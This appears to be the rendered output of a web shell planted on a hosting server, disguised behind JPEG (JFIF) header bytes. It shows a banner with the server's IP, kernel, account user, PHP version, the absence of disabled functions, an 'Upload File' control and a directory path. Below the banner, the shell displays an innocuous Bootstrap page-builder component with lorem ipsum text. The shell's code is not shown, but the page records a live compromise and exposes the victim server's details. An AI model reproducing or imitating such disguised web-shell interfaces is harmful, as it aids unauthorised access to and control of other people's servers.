����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/home/builderbox/././././www/public/builder/elements/ |
Upload File : |
<style>
.material-box .box {
border-radius: 3px;
box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12);
padding: 10px 25px;
text-align: right;
display: block;
margin-top: 60px;
}
.material-box .box-icon {
background-color: #57a544;
border-radius: 50%;
display: table;
height: 100px;
margin: 0 auto;
width: 100px;
margin-top: -61px;
}
.material-box .box-icon span {
color: #fff;
display: table-cell;
text-align: center;
vertical-align: middle;
}
.material-box .info h4 {
font-size: 26px;
letter-spacing: 2px;
text-transform: uppercase;
}
.material-box .info > p {
color: #717171;
font-size: 16px;
padding-top: 10px;
text-align: justify;
}
.material-box .info > a {
background-color: #03a9f4;
border-radius: 2px;
box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12);
color: #fff;
transition: all 0.5s ease 0s;
}
.material-box .info > a:hover {
background-color: #0288d1;
box-shadow: 0 2px 3px 0 rgba(0, 0, 0, 0.16), 0 2px 5px 0 rgba(0, 0, 0, 0.12);
color: #fff;
transition: all 0.5s ease 0s;
}
</style>
<div class="container">
<div class="row">
<div class="material-box col-xs-12 col-sm-6 col-md-6 col-lg-6">
<div class="box">
<div class="box-icon">
<span class="fa fa-4x fa-html5"></span>
</div>
<div class="info">
<h4 class="text-center">Title</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Corrupti atque, tenetur quam aspernatur corporis at explicabo nulla dolore necessitatibus doloremque exercitationem sequi dolorem architecto perferendis quas aperiam debitis dolor soluta!</p>
<a href="" class="btn">Link</a>
</div>
</div>
</div>
<div class="material-box col-xs-12 col-sm-6 col-md-6 col-lg-6">
<div class="box">
<div class="box-icon">
<span class="fa fa-4x fa-css3"></span>
</div>
<div class="info">
<h4 class="text-center">Title</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Corrupti atque, tenetur quam aspernatur corporis at explicabo nulla dolore necessitatibus doloremque exercitationem sequi dolorem architecto perferendis quas aperiam debitis dolor soluta!</p>
<a href="" class="btn">Link</a>
</div>
</div>
</div>
</div>
</div>
<script>
({
name: 'material box',
nodes: '*',
frameworks: ['bootstrap'],
class: 'material-box',
types: ['flow'],
validChildren: ['flow'],
category: 'components',
icon: 'photo-size-select-large',
hiddenClasses: ['material-box'],
});
</script>